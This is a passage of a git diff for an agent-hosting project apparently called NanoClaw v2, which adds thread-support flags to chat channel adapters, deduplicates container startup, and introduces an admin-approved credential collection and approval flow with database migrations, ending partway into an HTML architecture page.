adapter: gchatAdapter, concurrency: 'concurrent', supportsThreads: true }); }, }); diff --git a/src/channels/github.ts b/src/channels/github.ts index 19b90d2..d1fe42c 100644 --- a/src/channels/github.ts +++ b/src/channels/github.ts @@ -17,6 +17,6 @@ registerChannelAdapter('github', { token: env.GITHUB_TOKEN, webhookSecret: env.GITHUB_WEBHOOK_SECRET, }); - return createChatSdkBridge({ adapter: githubAdapter, concurrency: 'queue' }); + return createChatSdkBridge({ adapter: githubAdapter, concurrency: 'queue', supportsThreads: true }); }, }); diff --git a/src/channels/imessage.ts b/src/channels/imessage.ts index 4bda288..1ffba36 100644 --- a/src/channels/imessage.ts +++ b/src/channels/imessage.ts @@ -24,6 +24,6 @@ registerChannelAdapter('imessage', { const imessageAdapter = Object.assign(rawAdapter, { channelIdFromThreadId: (threadId: string) => threadId, }); - return createChatSdkBridge({ adapter: imessageAdapter, concurrency: 'concurrent' }); + return createChatSdkBridge({ adapter: imessageAdapter, concurrency: 'concurrent', supportsThreads: false }); }, }); diff --git a/src/channels/linear.ts b/src/channels/linear.ts index 11014f8..6436adf 100644 --- a/src/channels/linear.ts +++ b/src/channels/linear.ts @@ -17,6 +17,6 @@ registerChannelAdapter('linear', { apiKey: env.LINEAR_API_KEY, webhookSecret: env.LINEAR_WEBHOOK_SECRET, }); - return createChatSdkBridge({ adapter: linearAdapter, concurrency: 'queue' }); + return createChatSdkBridge({ adapter: linearAdapter, concurrency: 'queue', supportsThreads: true }); }, }); diff --git a/src/channels/matrix.ts b/src/channels/matrix.ts index a286fda..f84278f 100644 --- a/src/channels/matrix.ts +++ b/src/channels/matrix.ts @@ -18,6 +18,6 @@ registerChannelAdapter('matrix', { if (env.MATRIX_USER_ID) process.env.MATRIX_USER_ID = env.MATRIX_USER_ID; if (env.MATRIX_BOT_USERNAME) process.env.MATRIX_BOT_USERNAME = env.MATRIX_BOT_USERNAME; const matrixAdapter = createMatrixAdapter(); - return createChatSdkBridge({ adapter: matrixAdapter, concurrency: 'concurrent' }); + return createChatSdkBridge({ adapter: matrixAdapter, concurrency: 'concurrent', supportsThreads: false }); }, }); diff --git a/src/channels/resend.ts b/src/channels/resend.ts index 5dfe5ab..5a4565b 100644 --- a/src/channels/resend.ts +++ b/src/channels/resend.ts @@ -18,6 +18,6 @@ registerChannelAdapter('resend', { fromName: env.RESEND_FROM_NAME, webhookSecret: env.RESEND_WEBHOOK_SECRET, }); - return createChatSdkBridge({ adapter: resendAdapter, concurrency: 'queue' }); + return createChatSdkBridge({ adapter: resendAdapter, concurrency: 'queue', supportsThreads: false }); }, }); diff --git a/src/channels/slack.ts b/src/channels/slack.ts index 1413c05..6ee33db 100644 --- a/src/channels/slack.ts +++ b/src/channels/slack.ts @@ -16,6 +16,6 @@ registerChannelAdapter('slack', { botToken: env.SLACK_BOT_TOKEN, signingSecret: env.SLACK_SIGNING_SECRET, }); - return createChatSdkBridge({ adapter: slackAdapter, concurrency: 'concurrent' }); + return createChatSdkBridge({ adapter: slackAdapter, concurrency: 'concurrent', supportsThreads: true }); }, }); diff --git a/src/channels/teams.ts b/src/channels/teams.ts index 591c5c7..f184bfe 100644 --- a/src/channels/teams.ts +++ b/src/channels/teams.ts @@ -16,6 +16,6 @@ registerChannelAdapter('teams', { appId: env.TEAMS_APP_ID, appPassword: env.TEAMS_APP_PASSWORD, }); - return createChatSdkBridge({ adapter: teamsAdapter, concurrency: 'concurrent' }); + return createChatSdkBridge({ adapter: teamsAdapter, concurrency: 'concurrent', supportsThreads: true }); }, }); diff --git a/src/channels/telegram.ts b/src/channels/telegram.ts index 345419f..31bb197 100644 --- a/src/channels/telegram.ts +++ b/src/channels/telegram.ts @@ -26,6 +26,11 @@ registerChannelAdapter('telegram', { botToken: env.TELEGRAM_BOT_TOKEN, mode: 'polling', }); - return createChatSdkBridge({ adapter: telegramAdapter, concurrency: 'concurrent', extractReplyContext }); + return createChatSdkBridge({ + adapter: telegramAdapter, + concurrency: 'concurrent', + extractReplyContext, + supportsThreads: false, + }); }, }); diff --git a/src/channels/webex.ts b/src/channels/webex.ts index 63f1870..37b0e8e 100644 --- a/src/channels/webex.ts +++ b/src/channels/webex.ts @@ -16,6 +16,6 @@ registerChannelAdapter('webex', { botToken: env.WEBEX_BOT_TOKEN, webhookSecret: env.WEBEX_WEBHOOK_SECRET, }); - return createChatSdkBridge({ adapter: webexAdapter, concurrency: 'concurrent' }); + return createChatSdkBridge({ adapter: webexAdapter, concurrency: 'concurrent', supportsThreads: true }); }, }); diff --git a/src/channels/whatsapp-cloud.ts b/src/channels/whatsapp-cloud.ts index e56eb99..9d3a5b1 100644 --- a/src/channels/whatsapp-cloud.ts +++ b/src/channels/whatsapp-cloud.ts @@ -24,6 +24,6 @@ registerChannelAdapter('whatsapp-cloud', { appSecret: env.WHATSAPP_APP_SECRET, verifyToken: env.WHATSAPP_VERIFY_TOKEN, }); - return createChatSdkBridge({ adapter: whatsappAdapter, concurrency: 'concurrent' }); + return createChatSdkBridge({ adapter: whatsappAdapter, concurrency: 'concurrent', supportsThreads: false }); }, }); diff --git a/src/container-runner.ts b/src/container-runner.ts index 9881ca2..794f2a3 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -21,6 +21,7 @@ import { markContainerStopped, sessionDir, writeDestinations, + writeSessionRouting, } from './session-manager.js'; import type { AgentGroup, Session } from './types.js'; @@ -35,6 +36,16 @@ interface VolumeMount { /** Active containers tracked by session ID. */ const activeContainers = new Map(); +/** + * In-flight wake promises, keyed by session id. Deduplicates concurrent + * `wakeContainer` calls while the first spawn is still mid-setup (async + * buildContainerArgs, OneCLI gateway apply, etc.) — otherwise a second + * wake in that window passes the `activeContainers.has` check and spawns + * a duplicate container against the same session directory, producing + * racy double-replies. + */ +const wakePromises = new Map>(); + export function getActiveContainerCount(): number { return activeContainers.size; } @@ -44,27 +55,47 @@ export function isContainerRunning(sessionId: string): boolean { } /** - * Wake up a container for a session. If already running, no-op. + * Wake up a container for a session. If already running or mid-spawn, no-op + * (the in-flight wake promise is reused). + * * The container runs the v2 agent-runner which polls the session DB. */ -export async function wakeContainer(session: Session): Promise { +export function wakeContainer(session: Session): Promise { if (activeContainers.has(session.id)) { log.debug('Container already running', { sessionId: session.id }); - return; + return Promise.resolve(); } + const existing = wakePromises.get(session.id); + if (existing) { + log.debug('Container wake already in-flight — joining existing promise', { sessionId: session.id }); + return existing; + } + const promise = spawnContainer(session).finally(() => { + wakePromises.delete(session.id); + }); + wakePromises.set(session.id, promise); + return promise; +} +async function spawnContainer(session: Session): Promise { const agentGroup = getAgentGroup(session.agent_group_id); if (!agentGroup) { log.error('Agent group not found', { agentGroupId: session.agent_group_id }); return; } - // Refresh the destination map so any admin changes take effect on wake + // Refresh the destination map and default reply routing so any admin + // changes take effect on wake. writeDestinations(agentGroup.id, session.id); + writeSessionRouting(agentGroup.id, session.id); const mounts = buildMounts(agentGroup, session); const containerName = `nanoclaw-v2-${agentGroup.folder}-${Date.now()}`; - const agentIdentifier = agentGroup.is_admin ? undefined : agentGroup.folder.toLowerCase().replace(/_/g, '-'); + // OneCLI agent identifier is the agent group id. The admin group uses OneCLI's + // default agent (undefined), so unscoped credentials apply. Non-admin groups + // use their stable ag-xxx id, which is reversible via getAgentGroup() for + // approval-request routing. + const agentIdentifier = agentGroup.is_admin ? undefined : agentGroup.id; const args = await buildContainerArgs(mounts, containerName, session, agentGroup, agentIdentifier); log.info('Spawning container', { sessionId: session.id, agentGroup: agentGroup.name, containerName }); diff --git a/src/credentials.ts b/src/credentials.ts new file mode 100644 index 0000000..f4955c2 --- /dev/null +++ b/src/credentials.ts @@ -0,0 +1,312 @@ +/** + * Credential collection flow. + * + * Agent calls `trigger_credential_collection` — container writes a system + * action `request_credential` into outbound.db. This module: + * + * 1. Delivers an `[Enter credential] [Reject]` card to the admin channel. + * 2. On "Enter credential" click, the Chat SDK bridge opens a modal with a + * TextInput, captures the user's value in `onModalSubmit`, and calls + * `handleCredentialSubmit()` here. + * 3. We insert the secret into OneCLI and write a system chat message into + * the agent's session DB so the blocking MCP tool call returns. + * 4. The credential value never enters any session DB or log line. + */ +import { + createPendingCredential, + deletePendingCredential, + getPendingCredential as getPendingCredentialRow, + updatePendingCredentialMessageId, + updatePendingCredentialStatus, +} from './db/credentials.js'; +import { getMessagingGroup } from './db/messaging-groups.js'; +import type { ChannelDeliveryAdapter } from './delivery.js'; +import { log } from './log.js'; +import { createSecret, OneCLISecretError } from './onecli-secrets.js'; +import { writeSessionMessage } from './session-manager.js'; +import type { PendingCredential, Session } from './types.js'; +import { wakeContainer } from './container-runner.js'; + +let adapterRef: ChannelDeliveryAdapter | null = null; + +export function setCredentialDeliveryAdapter(adapter: ChannelDeliveryAdapter): void { + adapterRef = adapter; +} + +/** Handle a `request_credential` system action from a container. */ +export async function handleCredentialRequest( + content: Record, + session: Session, +): Promise { + if (!adapterRef) { + notifyAgentCredentialResult(session, content.credentialId as string, 'failed', 'delivery adapter not ready'); + return; + } + + const credentialId = (content.credentialId as string) || ''; + const name = (content.name as string) || ''; + const type = ((content.type as string) || 'generic') as 'generic' | 'anthropic'; + const hostPattern = (content.hostPattern as string) || ''; + const pathPattern = (content.pathPattern as string) || null; + const headerName = (content.headerName as string) || null; + const valueFormat = (content.valueFormat as string) || null; + const description = (content.description as string) || null; + + if (!credentialId || !name || !hostPattern) { + notifyAgentCredentialResult( + session, + credentialId, + 'failed', + 'name and hostPattern are required', + ); + return; + } + + // Deliver the credential card to the channel where the conversation is + // happening — not the admin channel. The user triggered this request by + // chatting with the agent, so the response surface is their chat channel. + if (!session.messaging_group_id) { + notifyAgentCredentialResult( + session, + credentialId, + 'failed', + 'session has no messaging group — cannot deliver credential card', + ); + return; + } + const mg = getMessagingGroup(session.messaging_group_id); + if (!mg) { + notifyAgentCredentialResult(session, credentialId, 'failed', 'messaging group not found'); + return; + } + + createPendingCredential({ + id: credentialId, + agent_group_id: session.agent_group_id, + session_id: session.id, + name, + type, + host_pattern: hostPattern, + path_pattern: pathPattern, + header_name: headerName, + value_format: valueFormat, + description, + channel_type: mg.channel_type, + platform_id: mg.platform_id, + platform_message_id: null, + status: 'pending', + created_at: new Date().toISOString(), + }); + + const question = buildCardText({ + name, + hostPattern, + headerName, + valueFormat, + description, + }); + + let platformMessageId: string | undefined; + try { + platformMessageId = await adapterRef.deliver( + mg.channel_type, + mg.platform_id, + session.thread_id, + 'chat-sdk', + JSON.stringify({ + type: 'credential_request', + credentialId, + question, + }), + ); + } catch (err) { + log.error('Failed to deliver credential request card', { credentialId, err }); + updatePendingCredentialStatus(credentialId, 'failed'); + notifyAgentCredentialResult(session, credentialId, 'failed', 'could not deliver card'); + return; + } + + if (platformMessageId) { + updatePendingCredentialMessageId(credentialId, platformMessageId); + } + + log.info('Credential request delivered', { credentialId, name, hostPattern }); +} + +/** Called by chat-sdk-bridge to fetch metadata for building the modal. */ +export function getCredentialForModal( + credentialId: string, +): { name: string; description: string | null; hostPattern: string } | null { + const row = getPendingCredentialRow(credentialId); + if (!row || row.status !== 'pending') return null; + return { name: row.name, description: row.description, hostPattern: row.host_pattern }; +} + +/** Admin clicked "Reject" on the card (or cancelled the modal). */ +export async function handleCredentialReject(credentialId: string): Promise { + const row = getPendingCredentialRow(credentialId); + if (!row) return; + updatePendingCredentialStatus(credentialId, 'rejected'); + + if (row.session_id) { + await notifyAgentSessionResult( + row.agent_group_id, + row.session_id, + credentialId, + 'rejected', + `Credential request for ${row.name} was rejected by admin.`, + ); + } + + deletePendingCredential(credentialId); + log.info('Credential request rejected', { credentialId }); +} + +/** + * Admin submitted the modal with a credential value. + * The value is held only long enough to call OneCLI and is then dropped. + */ +export async function handleCredentialSubmit(credentialId: string, value: string): Promise { + const row = getPendingCredentialRow(credentialId); + if (!row) { + log.warn('Credential submit for unknown id', { credentialId }); + return; + } + if (row.status !== 'pending') { + log.warn('Credential submit for non-pending row', { credentialId, status: row.status }); + return; + } + + updatePendingCredentialStatus(credentialId, 'submitted'); + + try { + await createSecret({ + name: row.name, + type: row.type, + value, + hostPattern: row.host_pattern, + pathPattern: row.path_pattern ?? undefined, + headerName: row.header_name ?? undefined, + valueFormat: row.value_format ?? undefined, + agentId: row.agent_group_id, // honored once OneCLI SDK adds scoping + }); + } catch (err) { + const reason = err instanceof OneCLISecretError ? err.message : String(err); + log.error('Failed to create OneCLI secret', { credentialId, reason }); + updatePendingCredentialStatus(credentialId, 'failed'); + if (row.session_id) { + await notifyAgentSessionResult( + row.agent_group_id, + row.session_id, + credentialId, + 'failed', + `Credential save failed: ${reason}`, + ); + } + deletePendingCredential(credentialId); + return; + } + + updatePendingCredentialStatus(credentialId, 'saved'); + log.info('Credential saved', { credentialId, name: row.name, hostPattern: row.host_pattern }); + + if (row.session_id) { + await notifyAgentSessionResult( + row.agent_group_id, + row.session_id, + credentialId, + 'saved', + `Credential "${row.name}" saved (host pattern: ${row.host_pattern}).`, + ); + } + + deletePendingCredential(credentialId); +} + +/** + * Fallback for inbound channels that don't support modals — the bridge calls + * this when `event.openModal()` is unavailable or returned undefined. + */ +export async function handleCredentialChannelUnsupported(credentialId: string): Promise { + const row = getPendingCredentialRow(credentialId); + if (!row) return; + updatePendingCredentialStatus(credentialId, 'failed'); + if (row.session_id) { + await notifyAgentSessionResult( + row.agent_group_id, + row.session_id, + credentialId, + 'failed', + `This channel doesn't support credential collection modals. Use Slack, Discord, Teams, or Google Chat.`, + ); + } + deletePendingCredential(credentialId); +} + +function notifyAgentCredentialResult( + session: Session, + credentialId: string, + status: 'saved' | 'rejected' | 'failed', + detail: string, +): void { + writeSessionMessage(session.agent_group_id, session.id, { + id: `cred-${credentialId}-${Date.now()}`, + kind: 'system', + timestamp: new Date().toISOString(), + platformId: session.agent_group_id, + channelType: 'agent', + threadId: null, + content: JSON.stringify({ + type: 'credential_response', + credentialId, + status, + detail, + }), + }); +} + +async function notifyAgentSessionResult( + agentGroupId: string, + sessionId: string, + credentialId: string, + status: 'saved' | 'rejected' | 'failed', + detail: string, +): Promise { + writeSessionMessage(agentGroupId, sessionId, { + id: `cred-${credentialId}-${Date.now()}`, + kind: 'system', + timestamp: new Date().toISOString(), + platformId: agentGroupId, + channelType: 'agent', + threadId: null, + content: JSON.stringify({ + type: 'credential_response', + credentialId, + status, + detail, + }), + }); + + const { getSession } = await import('./db/sessions.js'); + const session = getSession(sessionId); + if (session) await wakeContainer(session); +} + +function buildCardText(opts: { + name: string; + hostPattern: string; + headerName: string | null; + valueFormat: string | null; + description: string | null; +}): string { + const lines = [ + `🔑 Credential request: ${opts.name}`, + '', + `Host: \`${opts.hostPattern}\``, + ]; + if (opts.headerName) lines.push(`Header: \`${opts.headerName}\``); + if (opts.valueFormat) lines.push(`Format: \`${opts.valueFormat}\``); + if (opts.description) lines.push('', opts.description); + lines.push('', 'Click Enter credential to provide the value, or Reject to decline.'); + return lines.join('\n'); +} diff --git a/src/db/credentials.ts b/src/db/credentials.ts new file mode 100644 index 0000000..887cf96 --- /dev/null +++ b/src/db/credentials.ts @@ -0,0 +1,33 @@ +import type { PendingCredential, PendingCredentialStatus } from '../types.js'; +import { getDb } from './connection.js'; + +export function createPendingCredential(c: PendingCredential): void { + getDb() + .prepare( + `INSERT INTO pending_credentials + (id, agent_group_id, session_id, name, type, host_pattern, path_pattern, + header_name, value_format, description, channel_type, platform_id, + platform_message_id, status, created_at) + VALUES + (@id, @agent_group_id, @session_id, @name, @type, @host_pattern, @path_pattern, + @header_name, @value_format, @description, @channel_type, @platform_id, + @platform_message_id, @status, @created_at)`, + ) + .run(c); +} + +export function getPendingCredential(id: string): PendingCredential | undefined { + return getDb().prepare('SELECT * FROM pending_credentials WHERE id = ?').get(id) as PendingCredential | undefined; +} + +export function updatePendingCredentialStatus(id: string, status: PendingCredentialStatus): void { + getDb().prepare('UPDATE pending_credentials SET status = ? WHERE id = ?').run(status, id); +} + +export function updatePendingCredentialMessageId(id: string, platformMessageId: string): void { + getDb().prepare('UPDATE pending_credentials SET platform_message_id = ? WHERE id = ?').run(platformMessageId, id); +} + +export function deletePendingCredential(id: string): void { + getDb().prepare('DELETE FROM pending_credentials WHERE id = ?').run(id); +} diff --git a/src/db/db-v2.test.ts b/src/db/db-v2.test.ts index 9fdbb40..095e4be 100644 --- a/src/db/db-v2.test.ts +++ b/src/db/db-v2.test.ts @@ -58,12 +58,6 @@ describe('migrations', () => { runMigrations(db); }); - it('should track schema version', () => { - const db = initTestDb(); - runMigrations(db); - const row = db.prepare('SELECT MAX(version) as v FROM schema_version').get() as { v: number }; - expect(row.v).toBe(4); - }); }); // ── Agent Groups ── diff --git a/src/db/index.ts b/src/db/index.ts index 457da2a..4e777c3 100644 --- a/src/db/index.ts +++ b/src/db/index.ts @@ -36,4 +36,16 @@ export { createPendingQuestion, getPendingQuestion, deletePendingQuestion, + createPendingApproval, + getPendingApproval, + updatePendingApprovalStatus, + deletePendingApproval, + getPendingApprovalsByAction, } from './sessions.js'; +export { + createPendingCredential, + getPendingCredential, + updatePendingCredentialStatus, + updatePendingCredentialMessageId, + deletePendingCredential, +} from './credentials.js'; diff --git a/src/db/migrations/003-pending-approvals.ts b/src/db/migrations/003-pending-approvals.ts index 9fc2704..08b99c7 100644 --- a/src/db/migrations/003-pending-approvals.ts +++ b/src/db/migrations/003-pending-approvals.ts @@ -1,18 +1,39 @@ import type { Migration } from './index.js'; +/** + * `pending_approvals` table — host-side records for any approval-requiring + * request. Used by: + * - install_packages / request_rebuild / add_mcp_server (session-bound, + * `session_id` set, status stays at default 'pending' until handled) + * - OneCLI credential approvals from the SDK `configureManualApproval` + * callback (session_id may be null, action='onecli_credential'). + * + * The OneCLI-specific columns (`agent_group_id`, `channel_type`, `platform_id`, + * `platform_message_id`, `expires_at`, `status`) let the host edit the admin + * card when a request expires and sweep stale rows on startup. + */ export const migration003: Migration = { version: 3, name: 'pending-approvals', up(db) { db.exec(` CREATE TABLE pending_approvals ( - approval_id TEXT PRIMARY KEY, - session_id TEXT NOT NULL REFERENCES sessions(id), - request_id TEXT NOT NULL, - action TEXT NOT NULL, - payload TEXT NOT NULL, - created_at TEXT NOT NULL + approval_id TEXT PRIMARY KEY, + session_id TEXT REFERENCES sessions(id), + request_id TEXT NOT NULL, + action TEXT NOT NULL, + payload TEXT NOT NULL, + created_at TEXT NOT NULL, + agent_group_id TEXT REFERENCES agent_groups(id), + channel_type TEXT, + platform_id TEXT, + platform_message_id TEXT, + expires_at TEXT, + status TEXT NOT NULL DEFAULT 'pending' ); + + CREATE INDEX idx_pending_approvals_action_status + ON pending_approvals(action, status); `); }, }; diff --git a/src/db/migrations/005-pending-credentials.ts b/src/db/migrations/005-pending-credentials.ts new file mode 100644 index 0000000..beeb3d7 --- /dev/null +++ b/src/db/migrations/005-pending-credentials.ts @@ -0,0 +1,34 @@ +import type { Migration } from './index.js'; + +/** + * `pending_credentials` — backs the trigger_credential_collection flow. + * One row per in-flight credential request; status transitions + * pending → submitted → saved | rejected | failed. + */ +export const migration005: Migration = { + version: 5, + name: 'pending-credentials', + up(db) { + db.exec(` + CREATE TABLE pending_credentials ( + id TEXT PRIMARY KEY, + agent_group_id TEXT NOT NULL REFERENCES agent_groups(id), + session_id TEXT REFERENCES sessions(id), + name TEXT NOT NULL, + type TEXT NOT NULL, + host_pattern TEXT NOT NULL, + path_pattern TEXT, + header_name TEXT, + value_format TEXT, + description TEXT, + channel_type TEXT NOT NULL, + platform_id TEXT NOT NULL, + platform_message_id TEXT, + status TEXT NOT NULL DEFAULT 'pending', + created_at TEXT NOT NULL + ); + + CREATE INDEX idx_pending_credentials_status ON pending_credentials(status); + `); + }, +}; diff --git a/src/db/migrations/index.ts b/src/db/migrations/index.ts index c210359..0f85458 100644 --- a/src/db/migrations/index.ts +++ b/src/db/migrations/index.ts @@ -5,6 +5,7 @@ import { migration001 } from './001-initial.js'; import { migration002 } from './002-chat-sdk-state.js'; import { migration003 } from './003-pending-approvals.js'; import { migration004 } from './004-agent-destinations.js'; +import { migration005 } from './005-pending-credentials.js'; export interface Migration { version: number; @@ -12,7 +13,7 @@ export interface Migration { up: (db: Database.Database) => void; } -const migrations: Migration[] = [migration001, migration002, migration003, migration004]; +const migrations: Migration[] = [migration001, migration002, migration003, migration004, migration005]; export function runMigrations(db: Database.Database): void { db.exec(` diff --git a/src/db/schema.ts b/src/db/schema.ts index 2c40d6e..acffa22 100644 --- a/src/db/schema.ts +++ b/src/db/schema.ts @@ -114,6 +114,18 @@ CREATE TABLE destinations ( platform_id TEXT, -- for type='channel' agent_group_id TEXT -- for type='agent' ); + +-- Default reply routing for this session. Single-row table (id=1). +-- Host overwrites on every container wake from the session's messaging_group +-- and thread_id. Container reads it in send_message / ask_user_question / +-- trigger_credential_collection to default the channel/thread of outbound +-- messages when the agent doesn't specify an explicit destination. +CREATE TABLE session_routing ( + id INTEGER PRIMARY KEY CHECK (id = 1), + channel_type TEXT, + platform_id TEXT, + thread_id TEXT +); `; /** Container-owned: outbound messages + processing acknowledgments. */ diff --git a/src/db/sessions.ts b/src/db/sessions.ts index 45e911f..e3338d0 100644 --- a/src/db/sessions.ts +++ b/src/db/sessions.ts @@ -93,13 +93,26 @@ export function deletePendingQuestion(questionId: string): void { // ── Pending Approvals ── -export function createPendingApproval(pa: PendingApproval): void { +export function createPendingApproval(pa: Partial & Pick): void { getDb() .prepare( - `INSERT INTO pending_approvals (approval_id, session_id, request_id, action, payload, created_at) - VALUES (@approval_id, @session_id, @request_id, @action, @payload, @created_at)`, + `INSERT INTO pending_approvals + (approval_id, session_id, request_id, action, payload, created_at, + agent_group_id, channel_type, platform_id, platform_message_id, expires_at, status) + VALUES + (@approval_id, @session_id, @request_id, @action, @payload, @created_at, + @agent_group_id, @channel_type, @platform_id, @platform_message_id, @expires_at, @status)`, ) - .run(pa); + .run({ + session_id: null, + agent_group_id: null, + channel_type: null, + platform_id: null, + platform_message_id: null, + expires_at: null, + status: 'pending', + ...pa, + }); } export function getPendingApproval(approvalId: string): PendingApproval | undefined { @@ -108,6 +121,14 @@ export function getPendingApproval(approvalId: string): PendingApproval | undefi | undefined; } +export function updatePendingApprovalStatus(approvalId: string, status: PendingApproval['status']): void { + getDb().prepare('UPDATE pending_approvals SET status = ? WHERE approval_id = ?').run(status, approvalId); +} + export function deletePendingApproval(approvalId: string): void { getDb().prepare('DELETE FROM pending_approvals WHERE approval_id = ?').run(approvalId); } + +export function getPendingApprovalsByAction(action: string): PendingApproval[] { + return getDb().prepare('SELECT * FROM pending_approvals WHERE action = ?').all(action) as PendingApproval[]; +} diff --git a/src/delivery.ts b/src/delivery.ts index 4d60715..fdcf054 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -720,6 +720,12 @@ async function handleSystemAction( break; } + case 'request_credential': { + const { handleCredentialRequest } = await import('./credentials.js'); + await handleCredentialRequest(content, session); + break; + } + default: log.warn('Unknown system action', { action }); } diff --git a/src/index.ts b/src/index.ts index e237834..c3a478d 100644 --- a/src/index.ts +++ b/src/index.ts @@ -13,6 +13,19 @@ import { getMessagingGroupsByChannel, getMessagingGroupAgents } from './db/messa import { ensureContainerRuntimeRunning, cleanupOrphans } from './container-runtime.js'; import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter, stopDeliveryPolls } from './delivery.js'; import { startHostSweep, stopHostSweep } from './host-sweep.js'; +import { + ONECLI_ACTION, + resolveOneCLIApproval, + startOneCLIApprovalHandler, + stopOneCLIApprovalHandler, +} from './onecli-approvals.js'; +import { + getCredentialForModal, + handleCredentialChannelUnsupported, + handleCredentialReject, + handleCredentialSubmit, + setCredentialDeliveryAdapter, +} from './credentials.js'; import { routeInbound } from './router.js'; import { getPendingQuestion, @@ -79,12 +92,35 @@ async function main(): Promise { log.error('Failed to handle question response', { questionId, err }); }); }, + getCredentialForModal, + onCredentialReject(credentialId) { + handleCredentialReject(credentialId).catch((err) => + log.error('Failed to handle credential reject', { credentialId, err }), + ); + }, + onCredentialSubmit(credentialId, value) { + handleCredentialSubmit(credentialId, value).catch((err) => + log.error('Failed to handle credential submit', { credentialId, err }), + ); + }, + onCredentialChannelUnsupported(credentialId) { + handleCredentialChannelUnsupported(credentialId).catch((err) => + log.error('Failed to handle credential channel-unsupported', { credentialId, err }), + ); + }, }; }); // 4. Delivery adapter bridge — dispatches to channel adapters - setDeliveryAdapter({ - async deliver(channelType, platformId, threadId, kind, content, files) { + const deliveryAdapter = { + async deliver( + channelType: string, + platformId: string, + threadId: string | null, + kind: string, + content: string, + files?: import('./channels/adapter.js').OutboundFile[], + ): Promise { const adapter = getChannelAdapter(channelType); if (!adapter) { log.warn('No adapter for channel type', { channelType }); @@ -92,11 +128,13 @@ async function main(): Promise { } return adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content), files }); }, - async setTyping(channelType, platformId, threadId) { + async setTyping(channelType: string, platformId: string, threadId: string | null): Promise { const adapter = getChannelAdapter(channelType); await adapter?.setTyping?.(platformId, threadId); }, - }); + }; + setDeliveryAdapter(deliveryAdapter); + setCredentialDeliveryAdapter(deliveryAdapter); // 5. Start delivery polls startActiveDeliveryPoll(); @@ -107,6 +145,9 @@ async function main(): Promise { startHostSweep(); log.info('Host sweep started'); + // 7. Start OneCLI manual-approval handler + startOneCLIApprovalHandler(deliveryAdapter); + log.info('NanoClaw v2 running'); } @@ -134,9 +175,20 @@ function buildConversationConfigs(channelType: string): ConversationConfig[] { /** Handle a user's response to an ask_user_question card or an approval card. */ async function handleQuestionResponse(questionId: string, selectedOption: string, userId: string): Promise { + // OneCLI credential approvals — resolved via in-memory Promise, not session DB + if (resolveOneCLIApproval(questionId, selectedOption)) { + return; + } + // Check if this is a pending approval (install_packages, request_rebuild) const approval = getPendingApproval(questionId); if (approval) { + if (approval.action === ONECLI_ACTION) { + // Row exists but the in-memory resolver is gone (timer fired or process + // was in a weird state). Nothing to do — just drop the row. + deletePendingApproval(questionId); + return; + } await handleApprovalResponse(approval, selectedOption, userId); return; } @@ -188,6 +240,10 @@ async function handleApprovalResponse( selectedOption: string, userId: string, ): Promise { + if (!approval.session_id) { + deletePendingApproval(approval.approval_id); + return; + } const session = getSession(approval.session_id); if (!session) { deletePendingApproval(approval.approval_id); @@ -262,6 +318,7 @@ async function handleApprovalResponse( /** Graceful shutdown. */ async function shutdown(signal: string): Promise { log.info('Shutdown signal received', { signal }); + stopOneCLIApprovalHandler(); stopDeliveryPolls(); stopHostSweep(); await teardownChannelAdapters(); diff --git a/src/onecli-approvals.ts b/src/onecli-approvals.ts new file mode 100644 index 0000000..c8d6558 --- /dev/null +++ b/src/onecli-approvals.ts @@ -0,0 +1,252 @@ +/** + * OneCLI manual-approval handler. + * + * When the OneCLI gateway intercepts a credentialed request that needs human + * approval, it holds the HTTP connection open and fires our `configureManualApproval` + * callback. We: + * 1. Deliver an ask_question card to the admin channel (same routing as + * `requestApproval()` — global admin agent group's first messaging group). + * 2. Persist a `pending_approvals` row (action='onecli_credential') so we can + * edit the card on expiry and sweep stale rows at startup. + * 3. Wait on an in-memory Promise: resolved by the admin click + * (`resolveOneCLIApproval`) or by a local expiry timer. + * 4. On expiry, edit the card to "Expired" and return 'deny' — the gateway's + * HTTP side will have already closed, but we need to release the Promise + * so the SDK callback returns cleanly. + * + * Startup sweep edits any leftover cards from a previous process to + * "Expired (host restarted)" and drops the rows. + */ +import { OneCLI, type ApprovalRequest, type ManualApprovalHandle } from '@onecli-sh/sdk'; + +import { ONECLI_URL } from './config.js'; +import { getAdminAgentGroup, getAgentGroup } from './db/agent-groups.js'; +import { getMessagingGroupsByAgentGroup } from './db/messaging-groups.js'; +import { + createPendingApproval, + deletePendingApproval, + getPendingApprovalsByAction, + updatePendingApprovalStatus, +} from './db/sessions.js'; +import type { ChannelDeliveryAdapter } from './delivery.js'; +import { log } from './log.js'; +import type { PendingApproval } from './types.js'; + +export const ONECLI_ACTION = 'onecli_credential'; + +type Decision = 'approve' | 'deny'; + +const onecli = new OneCLI({ url: ONECLI_URL }); + +interface PendingState { + resolve: (decision: Decision) => void; + timer: NodeJS.Timeout; +} + +const pending = new Map(); +let handle: ManualApprovalHandle | null = null; +let adapterRef: ChannelDeliveryAdapter | null = null; + +/** + * Generate a short approval id for card buttons. + * + * OneCLI's native request.id is a UUID (36 bytes). When we put it into a card + * button's action id as `ncq::Approve`, Chat SDK's Telegram adapter then + * serializes both `id` and `value` into the Telegram `callback_data` field, + * which has a hard 64-byte limit. UUIDs push past that limit. + * + * Instead we generate a 10-byte id (`oa-` + 8 base36 chars) for the card, and + * keep the OneCLI request.id in the persisted payload for audit. The pending + * map, DB row, and button callback all use this short id; click handling + * looks up the short id and resolves the Promise that was waiting on it. + */ +function shortApprovalId(): string { + return `oa-${Math.random().toString(36).slice(2, 10)}`; +} + +/** Called from the main `handleQuestionResponse` path when a card button is clicked. */ +export function resolveOneCLIApproval(approvalId: string, selectedOption: string): boolean { + const state = pending.get(approvalId); + if (!state) return false; + pending.delete(approvalId); + clearTimeout(state.timer); + + const decision: Decision = selectedOption === 'Approve' ? 'approve' : 'deny'; + updatePendingApprovalStatus(approvalId, decision === 'approve' ? 'approved' : 'rejected'); + // Card is auto-edited to "✅ + + + NanoClaw v2 Architecture + + + + +
+

NanoClaw v2 Architecture

+
Session-DB messaging model · Chat SDK bridge · OneCLI credential gateway · per-session containers
+ +
+ +
+
+

1System Overview

+

+ Inbound messages land at the Chat SDK bridge, which hands off to the + router. The router resolves the messaging group → agent group → session + and writes to the session's inbound.db. The container runner + spawns a per-session container (auth via OneCLI), and the agent-runner + polls its DB, calls Claude, and writes responses to outbound.db. + Delivery polls the outbound DB, re-validates destinations, and ships + messages back through the same bridge. +

+
+
+flowchart TB
